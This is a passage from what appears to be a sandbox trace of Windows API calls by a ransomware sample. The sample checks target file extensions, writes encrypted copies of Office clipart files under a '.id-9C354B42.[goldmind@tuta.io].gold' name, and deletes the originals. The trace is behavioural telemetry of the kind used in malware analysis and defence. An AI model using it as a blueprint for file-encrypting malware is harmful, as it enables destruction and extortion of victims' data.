(lpString=".pdf") returned 4 [0097.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString=".xls") returned 4 [0097.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.685] lstrlenW (lpString=".xlsx") returned 5 [0097.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.685] lstrlenW (lpString=".ppt") returned 4 [0097.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".zip") returned 4 [0097.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.685] lstrlenW (lpString=".rar") returned 4 [0097.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString=".bz2") returned 4 [0097.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString=".7z") returned 3 [0097.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".dbf") returned 4 [0097.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".1cd") returned 4 [0097.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0097.685] lstrlenW (lpString=".jpg") returned 4 [0097.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.685] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.685] lstrlenW (lpString="HH00636_.WMF") returned 12 [0097.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0097.690] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1568) returned 1 [0097.690] CloseHandle (hObject=0x3ac) returned 1 [0097.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0098.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0098.037] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.037] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0098.066] GetLastError () returned 0x0 [0098.066] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x620, lpOverlapped=0x0) returned 1 [0098.113] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x630, lpOverlapped=0x0) returned 1 [0098.116] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.116] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.116] SetEndOfFile (hFile=0x3ac) returned 1 [0098.116] CloseHandle (hObject=0x3ac) returned 1 [0098.116] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.116] SetEndOfFile (hFile=0x394) returned 1 [0098.118] CloseHandle (hObject=0x394) returned 1 [0098.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0098.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.849] lstrlenW (lpString=".doc") returned 4 [0098.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.849] lstrlenW (lpString=".docx") returned 5 [0098.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.849] lstrlenW (lpString=".pdf") returned 4 [0098.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.849] lstrlenW (lpString=".xls") returned 4 [0098.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.849] lstrlenW (lpString=".xlsx") returned 5 [0098.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.849] lstrlenW (lpString=".ppt") returned 4 [0098.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.849] lstrlenW (lpString=".zip") returned 4 [0098.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.850] lstrlenW (lpString=".rar") returned 4 [0098.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".bz2") returned 4 [0098.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".7z") returned 3 [0098.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".dbf") returned 4 [0098.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".1cd") returned 4 [0098.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".jpg") returned 4 [0098.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".doc") returned 4 [0098.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".docx") returned 5 [0098.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.850] lstrlenW (lpString=".pdf") returned 4 [0098.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".xls") returned 4 [0098.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.850] lstrlenW (lpString=".xlsx") returned 5 [0098.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.850] lstrlenW (lpString=".ppt") returned 4 [0098.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".zip") returned 4 [0098.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.850] lstrlenW (lpString=".rar") returned 4 [0098.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".bz2") returned 4 [0098.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString=".7z") returned 3 [0098.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".dbf") returned 4 [0098.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".1cd") returned 4 [0098.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0098.850] lstrlenW (lpString=".jpg") returned 4 [0098.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.850] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.851] lstrlenW (lpString="HH01329_.WMF") returned 12 [0098.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.246] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6016) returned 1 [0099.246] CloseHandle (hObject=0x364) returned 1 [0099.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0099.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.246] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.246] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0099.247] GetLastError () returned 0x0 [0099.247] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1780, lpOverlapped=0x0) returned 1 [0099.262] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0099.262] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.262] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.263] SetEndOfFile (hFile=0x3a0) returned 1 [0099.263] CloseHandle (hObject=0x3a0) returned 1 [0099.263] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.263] SetEndOfFile (hFile=0x364) returned 1 [0099.265] CloseHandle (hObject=0x364) returned 1 [0099.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0099.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.402] lstrlenW (lpString=".doc") returned 4 [0099.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.402] lstrlenW (lpString=".docx") returned 5 [0099.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.402] lstrlenW (lpString=".pdf") returned 4 [0099.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.402] lstrlenW (lpString=".xls") returned 4 [0099.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.402] lstrlenW (lpString=".xlsx") returned 5 [0099.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.402] lstrlenW (lpString=".ppt") returned 4 [0099.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".zip") returned 4 [0099.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.403] lstrlenW (lpString=".rar") returned 4 [0099.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".bz2") returned 4 [0099.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".7z") returned 3 [0099.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".dbf") returned 4 [0099.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".1cd") returned 4 [0099.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".jpg") returned 4 [0099.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".doc") returned 4 [0099.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".docx") returned 5 [0099.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.403] lstrlenW (lpString=".pdf") returned 4 [0099.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".xls") returned 4 [0099.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.403] lstrlenW (lpString=".xlsx") returned 5 [0099.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.403] lstrlenW (lpString=".ppt") returned 4 [0099.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".zip") returned 4 [0099.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.403] lstrlenW (lpString=".rar") returned 4 [0099.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".bz2") returned 4 [0099.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString=".7z") returned 3 [0099.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".dbf") returned 4 [0099.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.403] lstrlenW (lpString=".1cd") returned 4 [0099.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0099.404] lstrlenW (lpString=".jpg") returned 4 [0099.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.404] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.404] lstrlenW (lpString="HH02155_.WMF") returned 12 [0099.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.526] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2704) returned 1 [0099.526] CloseHandle (hObject=0x198) returned 1 [0099.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0099.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.526] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.526] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.527] GetLastError () returned 0x0 [0099.527] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xa90, lpOverlapped=0x0) returned 1 [0099.541] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0099.542] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.542] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.542] SetEndOfFile (hFile=0x190) returned 1 [0099.542] CloseHandle (hObject=0x190) returned 1 [0099.542] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.542] SetEndOfFile (hFile=0x198) returned 1 [0099.544] CloseHandle (hObject=0x198) returned 1 [0099.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0099.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.544] lstrlenW (lpString=".doc") returned 4 [0099.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.544] lstrlenW (lpString=".docx") returned 5 [0099.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.545] lstrlenW (lpString=".pdf") returned 4 [0099.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString=".xls") returned 4 [0099.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.545] lstrlenW (lpString=".xlsx") returned 5 [0099.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.545] lstrlenW (lpString=".ppt") returned 4 [0099.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".zip") returned 4 [0099.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.545] lstrlenW (lpString=".rar") returned 4 [0099.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString=".bz2") returned 4 [0099.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString=".7z") returned 3 [0099.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".dbf") returned 4 [0099.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".1cd") returned 4 [0099.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".jpg") returned 4 [0099.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".doc") returned 4 [0099.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString=".docx") returned 5 [0099.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.545] lstrlenW (lpString=".pdf") returned 4 [0099.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString=".xls") returned 4 [0099.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.545] lstrlenW (lpString=".xlsx") returned 5 [0099.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.545] lstrlenW (lpString=".ppt") returned 4 [0099.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.545] lstrlenW (lpString=".zip") returned 4 [0099.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.545] lstrlenW (lpString=".rar") returned 4 [0099.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.546] lstrlenW (lpString=".bz2") returned 